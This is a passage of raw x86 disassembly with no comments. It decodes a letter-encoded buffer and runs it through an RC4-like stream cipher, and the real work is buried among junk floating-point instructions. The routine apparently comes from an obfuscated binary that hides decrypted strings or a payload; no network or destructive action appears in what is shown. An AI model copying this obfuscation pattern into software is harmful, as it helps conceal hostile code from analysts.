subss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x3430]
addss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34d4]
subss xmm0, dword [ebp - 0x3430]
movss dword [ebp - 0x34d4], xmm0
jmp 0x42f1b1
movss xmm0, dword [ebp - 0x3430]
addss xmm0, dword [ebp - 0x34b8]
movss dword [ebp - 0x3430], xmm0
movss xmm0, dword [ebp - 0x34b8]
subss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x34b8], xmm0
movss xmm0, dword [ebp - 0x34b8]
mulss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x34b8], xmm0
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x5128]
mov byte [ebp + edx - 0x5128], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32bc]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x32bc]
movzx ecx, byte [ebp + eax - 0x5128]
movzx edx, byte [ebp - 0x32bd]
add edx, ecx
mov byte [ebp - 0x32bd], dl
movzx eax, byte [ebp - 0x32be]
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp + ecx - 0x5128]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x5128]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5128]
xor eax, edx
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp + ecx - 0x5128]
movzx ecx, byte [ebp - 0x328c]
movzx ecx, byte [ebp + ecx - 0x5128]
add edx, ecx
movzx ecx, byte [ebp - 0x32bd]
movzx ecx, byte [ebp + ecx - 0x5128]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp + edx - 0x5128]
xor eax, ecx
mov byte [ebp - 0x3270], al
movsd xmm0, qword [0xa6ef78]
movsd qword [ebp - 0x521c], xmm0
movsd xmm0, qword [0xa6ed90]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [0xa6ea48]
movsd qword [ebp - 0x4564], xmm0
movsd xmm0, qword [ebp - 0x455c]
addsd xmm0, qword [ebp - 0x4564]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x455c]
subsd xmm0, qword [ebp - 0x4564]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x455c]
mulsd xmm0, qword [ebp - 0x4564]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x455c]
comisd xmm0, xmmword [ebp - 0x4564]
jbe 0x42f349
movsd xmm0, qword [ebp - 0x455c]
subsd xmm0, qword [ebp - 0x521c]
movsd qword [ebp - 0x455c], xmm0
movsd xmm0, qword [ebp - 0x4564]
mulsd xmm0, qword [ebp - 0x455c]
movsd qword [ebp - 0x4564], xmm0
movsd xmm0, qword [ebp - 0x4564]
addsd xmm0, qword [ebp - 0x455c]
movsd qword [ebp - 0x4564], xmm0
mov dl, byte [ebp - 0x32be]
mov byte [ebp - 0x328c], dl
jmp 0x42f391
movsd xmm0, qword [ebp - 0x4564]
mulsd xmm0, qword [ebp - 0x521c]
movsd qword [ebp - 0x4564], xmm0
movsd xmm0, qword [ebp - 0x521c]
subsd xmm0, qword [ebp - 0x455c]
movsd qword [ebp - 0x521c], xmm0
movsd xmm0, qword [ebp - 0x4564]
addsd xmm0, qword [ebp - 0x521c]
movsd qword [ebp - 0x4564], xmm0
mov al, byte [ebp - 0x3270]
mov byte [ebp - 0x3307], al
cmp dword [ebp - 0x333c], 0
jle 0x42f3bc
movsx cx, byte [ebp - 0x3307]
mov edx, dword [ebp - 0x333c]
mov word [ebp + edx*2 - 0x206], cx
mov eax, dword [ebp - 0x3508]
add eax, 0xf
mov dword [ebp - 0x3508], eax
mov ecx, dword [ebp - 0x333c]
add ecx, 1
mov dword [ebp - 0x4ad4], ecx
jmp 0x42f3eb
mov edx, dword [ebp - 0x4ad4]
add edx, 1
mov dword [ebp - 0x4ad4], edx
mov eax, dword [ebp - 0x4ad4]
cmp eax, dword [ebp - 0x3508]
jge 0x42fc0c
mov ecx, dword [ebp - 0x333c]
add ecx, 1
mov dword [ebp - 0x333c], ecx
mov edx, dword [ebp - 0x333c]
shl edx, 1
mov dword [ebp - 0x36fc], edx
movss xmm0, dword [0xa6f228]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [0xa6f1bc]
movss dword [ebp - 0x37cc], xmm0
movss xmm0, dword [0xa6f140]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [0xa6f0c0]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [0xa6f054]
movss dword [ebp - 0x3470], xmm0
movss xmm0, dword [0xa6efd4]
movss dword [ebp - 0x346c], xmm0
movss xmm0, dword [ebp - 0x35ac]
subss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x3440]
mulss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x3440]
subss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x35ac]
mulss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x3470]
addss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x3470], xmm0
movss xmm0, dword [ebp - 0x35ac]
comiss xmm0, dword [ebp - 0x346c]
jbe 0x42f5c9
movss xmm0, dword [ebp - 0x37cc]
subss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x37cc], xmm0
movss xmm0, dword [ebp - 0x33cc]
addss xmm0, dword [ebp - 0x3440]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x3440]
mulss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x3470]
subss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x3470], xmm0
movss xmm0, dword [ebp - 0x346c]
addss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x346c], xmm0
movss xmm0, dword [ebp - 0x3470]
subss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x3470], xmm0
mov eax, dword [ebp - 0x3700]
add eax, dword [ebp - 0x36fc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3678], ecx
jmp 0x42f9ed
movss xmm0, dword [ebp - 0x35ac]
mulss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x33cc]
subss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x346c]
mulss xmm0, dword [ebp - 0x37cc]
movss dword [ebp - 0x346c], xmm0
movss xmm0, dword [ebp - 0x3440]
addss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x37cc]
subss xmm0, dword [ebp - 0x3440]
movss dword [ebp - 0x37cc], xmm0
movss xmm0, dword [ebp - 0x35ac]
divss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x3440]
divss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x33cc]
subss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x33cc]
subss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x346c]
mulss xmm0, dword [ebp - 0x37cc]
movss dword [ebp - 0x346c], xmm0
movss xmm0, dword [ebp - 0x35ac]
divss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x33cc]
addss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x37cc]
comiss xmm0, dword [ebp - 0x3440]
jbe 0x42f95d
movss xmm0, dword [ebp - 0x346c]
subss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x346c], xmm0
movss xmm0, dword [ebp - 0x37cc]
addss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x37cc], xmm0
movss xmm0, dword [ebp - 0x3440]
subss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x3440]
addss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x346c]
addss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x346c], xmm0
movss xmm0, dword [ebp - 0x37cc]
mulss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x37cc], xmm0
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x33cc]
divss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x346c]
addss xmm0, dword [ebp - 0x37cc]
movss dword [ebp - 0x346c], xmm0
movss xmm0, dword [ebp - 0x3440]
divss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x35ac]
addss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x346c]
comiss xmm0, dword [ebp - 0x37cc]
jbe 0x42f8c8
movss xmm0, dword [ebp - 0x37cc]
subss xmm0, dword [ebp - 0x3440]
movss dword [ebp - 0x37cc], xmm0
movss xmm0, dword [ebp - 0x3470]
addss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x3470], xmm0
movss xmm0, dword [ebp - 0x3470]
addss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x3470], xmm0
movss xmm0, dword [ebp - 0x3440]
addss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x346c]
addss xmm0, dword [ebp - 0x37cc]
movss dword [ebp - 0x346c], xmm0
movss xmm0, dword [ebp - 0x33cc]
addss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
jmp 0x42f958
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x3470]
subss xmm0, dword [ebp - 0x35ac]
movss dword [ebp - 0x3470], xmm0
movss xmm0, dword [ebp - 0x33cc]
addss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x35ac]
mulss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x33cc]
addss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x3440]
addss xmm0, dword [ebp - 0x346c]
movss dword [ebp - 0x3440], xmm0
jmp 0x42f9ed
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x3440]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x3440]
divss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x3440]
addss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x3440], xmm0
movss xmm0, dword [ebp - 0x35ac]
subss xmm0, dword [ebp - 0x37cc]
movss dword [ebp - 0x35ac], xmm0
movss xmm0, dword [ebp - 0x37cc]
addss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x37cc], xmm0
movss xmm0, dword [ebp - 0x3440]
mulss xmm0, dword [ebp - 0x3470]
movss dword [ebp - 0x3440], xmm0
mov dword [ebp - 0x3684], 0x41
mov edx, dword [ebp - 0x333c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3704], eax
mov ecx, dword [ebp - 0x3700]
add ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
mov dword [ebp - 0x3688], edx
mov dword [ebp - 0x368c], 0x54
mov eax, dword [ebp - 0x3678]
sub eax, dword [ebp - 0x3684]
mov dword [ebp - 0x3690], eax
mov ecx, dword [ebp - 0x3688]
sub ecx, dword [ebp - 0x368c]
mov dword [ebp - 0x3694], ecx
mov edx, dword [ebp - 0x3690]
shl edx, 4
mov dword [ebp - 0x3708], edx
mov eax, dword [ebp - 0x3694]
mov dword [ebp - 0x370c], eax
mov ecx, dword [ebp - 0x3708]
or ecx, dword [ebp - 0x370c]
mov dword [ebp - 0x3710], ecx
mov dl, byte [ebp - 0x3710]
mov byte [ebp - 0x32be], dl
movzx eax, byte [ebp - 0x328c]
mov cl, byte [ebp + eax - 0x5128]
mov byte [ebp - 0x32bc], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp - 0x3271]
add ecx, eax
mov byte [ebp - 0x3271], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp - 0x328c]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3271]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32bc]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x32bc]
movzx eax, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp - 0x32bd]
add ecx, eax
mov byte [ebp - 0x32bd], cl
movzx edx, byte [ebp - 0x32be]
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp + eax - 0x5128]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5128]
xor edx, ecx
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x5128]
movzx eax, byte [ebp - 0x328c]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
movzx eax, byte [ebp - 0x32bd]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5128]
movzx eax, byte [ebp + ecx - 0x5128]
xor edx, eax
mov byte [ebp - 0x3270], dl
mov cl, byte [ebp - 0x32be]
mov byte [ebp - 0x328c], cl
mov dl, byte [ebp - 0x3270]
mov byte [ebp - 0x3307], dl
cmp dword [ebp - 0x333c], 0
jle 0x42fc07
movsx ax, byte [ebp - 0x3307]
mov ecx, dword [ebp - 0x333c]
mov word [ebp + ecx*2 - 0x206], ax
jmp 0x42f3dc
mov edx, dword [ebp - 0x3508]
add edx, 1
mov dword [ebp - 0x3508], edx
mov eax, dword [ebp - 0x333c]
add eax, 1
mov dword [ebp - 0x333c], eax
mov ecx, dword [ebp - 0x3508]
add ecx, 1
mov dword [ebp - 0x3508], ecx
mov edx, dword [ebp - 0x333c]
shl edx, 1
mov dword [ebp - 0x36fc], edx
mov eax, dword [ebp - 0x3700]
add eax, dword [ebp - 0x36fc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3678], ecx
mov dword [ebp - 0x3684], 0x41
mov edx, dword [ebp - 0x333c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3704], eax
mov ecx, dword [ebp - 0x3700]
add ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
mov dword [ebp - 0x3688], edx
mov dword [ebp - 0x368c], 0x54
mov eax, dword [ebp - 0x3678]
sub eax, dword [ebp - 0x3684]
mov dword [ebp - 0x3690], eax
mov ecx, dword [ebp - 0x3688]
sub ecx, dword [ebp - 0x368c]
mov dword [ebp - 0x3694], ecx
mov edx, dword [ebp - 0x3690]
shl edx, 4
mov dword [ebp - 0x3708], edx
mov eax, dword [ebp - 0x3694]
mov dword [ebp - 0x370c], eax
mov ecx, dword [ebp - 0x3708]
or ecx, dword [ebp - 0x370c]
mov dword [ebp - 0x3710], ecx
mov dl, byte [ebp - 0x3710]
mov byte [ebp - 0x32be], dl
movzx eax, byte [ebp - 0x328c]
mov cl, byte [ebp + eax - 0x5128]
mov byte [ebp - 0x32bc], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp - 0x3271]
add ecx, eax
mov byte [ebp - 0x3271], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp - 0x328c]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3271]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32bc]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x32bc]
movzx eax, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp - 0x32bd]
add ecx, eax
mov byte [ebp - 0x32bd], cl
movzx edx, byte [ebp - 0x32be]
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp + eax - 0x5128]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5128]
xor edx, ecx
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x5128]
movzx eax, byte [ebp - 0x328c]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
movzx eax, byte [ebp - 0x32bd]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5128]
movzx eax, byte [ebp + ecx - 0x5128]
xor edx, eax
mov byte [ebp - 0x3270], dl
mov cl, byte [ebp - 0x32be]
mov byte [ebp - 0x328c], cl
mov dl, byte [ebp - 0x3270]
mov byte [ebp - 0x3307], dl
cmp dword [ebp - 0x333c], 0
jle 0x42fe76
movsx ax, byte [ebp - 0x3307]
mov ecx, dword [ebp - 0x333c]
mov word [ebp + ecx*2 - 0x206], ax
mov edx, dword [ebp - 0x333c]
add edx, 1
mov dword [ebp - 0x333c], edx
mov eax, dword [ebp - 0x3508]
add eax, 1
mov dword [ebp - 0x3508], eax
mov ecx, dword [ebp - 0x333c]
shl ecx, 1
mov dword [ebp - 0x36fc], ecx
mov edx, dword [ebp - 0x3700]
add edx, dword [ebp - 0x36fc]
movzx eax, byte [edx]
mov dword [ebp - 0x3678], eax
mov dword [ebp - 0x3684], 0x41
mov ecx, dword [ebp - 0x333c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3704], edx
mov eax, dword [ebp - 0x3700]
add eax, dword [ebp - 0x3704]
movzx ecx, byte [eax]
mov dword [ebp - 0x3688], ecx
mov dword [ebp - 0x368c], 0x54
mov edx, dword [ebp - 0x3678]
sub edx, dword [ebp - 0x3684]
mov dword [ebp - 0x3690], edx
mov eax, dword [ebp - 0x3688]
sub eax, dword [ebp - 0x368c]
mov dword [ebp - 0x3694], eax
mov ecx, dword [ebp - 0x3690]
shl ecx, 4
mov dword [ebp - 0x3708], ecx
mov edx, dword [ebp - 0x3694]
mov dword [ebp - 0x370c], edx
mov eax, dword [ebp - 0x3708]
or eax, dword [ebp - 0x370c]
mov dword [ebp - 0x3710], eax
mov cl, byte [ebp - 0x3710]
mov byte [ebp - 0x32be], cl
movzx edx, byte [ebp - 0x328c]
mov al, byte [ebp + edx - 0x5128]
mov byte [ebp - 0x32bc], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp + ecx - 0x5128]
movzx eax, byte [ebp - 0x3271]
add eax, edx
mov byte [ebp - 0x3271], al
mov cl, byte [ebp - 0x3262]
add cl, 1
mov byte [ebp - 0x3262], cl
movzx edx, byte [ebp - 0x3271]
movzx eax, byte [ebp - 0x328c]
mov cl, byte [ebp + edx - 0x5128]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp - 0x3271]
mov cl, byte [ebp + edx - 0x5128]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp - 0x3270]
mov cl, byte [ebp + edx - 0x5128]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x3262]
mov al, byte [ebp - 0x32bc]
mov byte [ebp + edx - 0x5128], al
movzx ecx, byte [ebp - 0x32bc]
movzx edx, byte [ebp + ecx - 0x5128]
movzx eax, byte [ebp - 0x32bd]
add eax, edx
mov byte [ebp - 0x32bd], al
movzx ecx, byte [ebp - 0x32be]
movzx edx, byte [ebp - 0x3271]
movzx eax, byte [ebp + edx - 0x5128]
movzx edx, byte [ebp - 0x3262]
movzx edx, byte [ebp + edx - 0x5128]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5128]
xor ecx, eax
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp + edx - 0x5128]
movzx edx, byte [ebp - 0x328c]
movzx edx, byte [ebp + edx - 0x5128]
add eax, edx
movzx edx, byte [ebp - 0x32bd]
movzx edx, byte [ebp + edx - 0x5128]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5128]
movzx edx, byte [ebp + eax - 0x5128]
xor ecx, edx
mov byte [ebp - 0x3270], cl
mov al, byte [ebp - 0x32be]
mov byte [ebp - 0x328c], al
mov cl, byte [ebp - 0x3270]
mov byte [ebp - 0x3307], cl
cmp dword [ebp - 0x333c], 0
jle 0x4300cf
movsx dx, byte [ebp - 0x3307]
mov eax, dword [ebp - 0x333c]
mov word [ebp + eax*2 - 0x206], dx
mov ecx, dword [ebp - 0x333c]
add ecx, 1
mov dword [ebp - 0x333c], ecx
mov edx, dword [ebp - 0x3508]
add edx, 1
mov dword [ebp - 0x3508], edx
mov eax, dword [ebp - 0x333c]
shl eax, 1
mov dword [ebp - 0x36fc], eax
mov ecx, dword [ebp - 0x3700]
add ecx, dword [ebp - 0x36fc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3678], edx
mov dword [ebp - 0x3684], 0x41
mov eax, dword [ebp - 0x333c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3704], ecx
mov edx, dword [ebp - 0x3700]
add edx, dword [ebp - 0x3704]
movzx eax, byte [edx]
mov dword [ebp - 0x3688], eax
mov dword [ebp - 0x368c], 0x54
mov ecx, dword [ebp - 0x3678]
sub ecx, dword [ebp - 0x3684]
mov dword [ebp - 0x3690], ecx
mov edx, dword [ebp - 0x3688]
sub edx, dword [ebp - 0x368c]
mov dword [ebp - 0x3694], edx
mov eax, dword [ebp - 0x3690]
shl eax, 4
mov dword [ebp - 0x3708], eax
mov ecx, dword [ebp - 0x3694]
mov dword [ebp - 0x370c], ecx
mov edx, dword [ebp - 0x3708]
or edx, dword [ebp - 0x370c]
mov dword [ebp - 0x3710], edx
mov al, byte [ebp - 0x3710]
mov byte [ebp - 0x32be], al
movzx ecx, byte [ebp - 0x328c]
mov dl, byte [ebp + ecx - 0x5128]
mov byte [ebp - 0x32bc], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x5128]
movzx edx, byte [ebp - 0x3271]
add edx, ecx
mov byte [ebp - 0x3271], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp - 0x328c]
mov al, byte [ebp + ecx - 0x5128]
mov byte [ebp + edx - 0x5128], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3271]
mov al, byte [ebp + ecx - 0x5128]
mov byte [ebp + edx - 0x5128], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x5128]
mov byte [ebp + edx - 0x5128], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32bc]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x32bc]
movzx ecx, byte [ebp + eax - 0x5128]
movzx edx, byte [ebp - 0x32bd]
add edx, ecx
mov byte [ebp - 0x32bd], dl
movss xmm0, dword [0xa6f258]
movss dword [ebp - 0x43c0], xmm0
movss xmm0, dword [0xa6f198]
movss dword [ebp - 0x4288], xmm0
movss xmm0, dword [0xa6f0e0]
movss dword [ebp - 0x3ed0], xmm0
movss xmm0, dword [0xa6f01c]
movss dword [ebp - 0x3e3c], xmm0
movss xmm0, dword [ebp - 0x3ed0]
mulss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x3ed0], xmm0
movss xmm0, dword [ebp - 0x3ed0]
mulss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x3ed0], xmm0
movss xmm0, dword [ebp - 0x43c0]
subss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x43c0], xmm0
movss xmm0, dword [ebp - 0x43c0]
mulss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x43c0], xmm0
movss xmm0, dword [ebp - 0x3e3c]
comiss xmm0, dword [ebp - 0x3ed0]
jbe 0x430382
movss xmm0, dword [ebp - 0x4288]
subss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x4288], xmm0
movss xmm0, dword [ebp - 0x3ed0]
addss xmm0, dword [ebp - 0x43c0]
movss dword [ebp - 0x3ed0], xmm0
movss xmm0, dword [ebp - 0x3ed0]
divss xmm0, dword [ebp - 0x43c0]
movss dword [ebp - 0x3ed0], xmm0
movss xmm0, dword [ebp - 0x4288]
mulss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x4288], xmm0
jmp 0x430468
movss xmm0, dword [ebp - 0x3ed0]
mulss xmm0, dword [ebp - 0x43c0]
movss dword [ebp - 0x3ed0], xmm0
movss xmm0, dword [ebp - 0x4288]
subss xmm0, dword [ebp - 0x3e3c]
movss dword [ebp - 0x4288], xmm0
movss xmm0, dword [ebp - 0x3e3c]
addss xmm0, dword [ebp - 0x4288]
movss dword [ebp - 0x3e3c], xmm0
movss xmm0, dword [ebp - 0x3e3c]
addss xmm0, dword [ebp - 0x4288]
movss dword [ebp - 0x3e3c], xmm0
movzx eax, byte [ebp - 0x32be]
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp + ecx - 0x5128]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x5128]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5128]
xor eax, edx
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp + ecx - 0x5128]
movzx ecx, byte [ebp - 0x328c]
movzx ecx, byte [ebp + ecx - 0x5128]
add edx, ecx
movzx ecx, byte [ebp - 0x32bd]
movzx ecx, byte [ebp + ecx - 0x5128]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp + edx - 0x5128]
xor eax, ecx
mov byte [ebp - 0x3270], al
mov dl, byte [ebp - 0x32be]
mov byte [ebp - 0x328c], dl
mov al, byte [ebp - 0x3270]
mov byte [ebp - 0x3307], al
cmp dword [ebp - 0x333c], 0
jle 0x43049f
movsx cx, byte [ebp - 0x3307]
mov edx, dword [ebp - 0x333c]
mov word [ebp + edx*2 - 0x206], cx
mov eax, dword [ebp - 0x3508]
add eax, 0x10
mov dword [ebp - 0x3508], eax
mov ecx, dword [ebp - 0x333c]
add ecx, 1
mov dword [ebp - 0x4ad8], ecx
jmp 0x4304ce
mov edx, dword [ebp - 0x4ad8]
add edx, 1
mov dword [ebp - 0x4ad8], edx
mov eax, dword [ebp - 0x4ad8]
cmp eax, dword [ebp - 0x3508]
jge 0x430a29
mov ecx, dword [ebp - 0x333c]
add ecx, 1
mov dword [ebp - 0x333c], ecx
mov edx, dword [ebp - 0x333c]
shl edx, 1
mov dword [ebp - 0x36fc], edx
mov eax, dword [ebp - 0x3700]
add eax, dword [ebp - 0x36fc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3678], ecx
movss xmm0, dword [0xa6f2f8]
movss dword [ebp - 0x35e0], xmm0
movss xmm0, dword [0xa6f1e4]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [0xa6f098]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x35e0]
addss xmm0, dword [ebp - 0x33d0]
movss dword [ebp - 0x35e0], xmm0
movss xmm0, dword [ebp - 0x35e0]
addss xmm0, dword [ebp - 0x33d0]
movss dword [ebp - 0x35e0], xmm0
movss xmm0, dword [ebp - 0x35e0]
subss xmm0, dword [ebp - 0x33d0]
